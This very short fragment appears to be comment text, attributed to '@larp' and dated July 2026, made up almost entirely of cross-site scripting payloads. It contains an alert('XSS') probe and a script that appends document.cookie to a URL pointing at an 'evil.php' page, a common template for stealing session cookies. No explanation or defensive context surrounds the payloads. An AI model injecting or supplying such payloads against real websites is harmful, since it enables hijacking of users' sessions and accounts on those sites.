<script>alert(‘XSS’)</script>@larp23 de jul de 2026<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT>201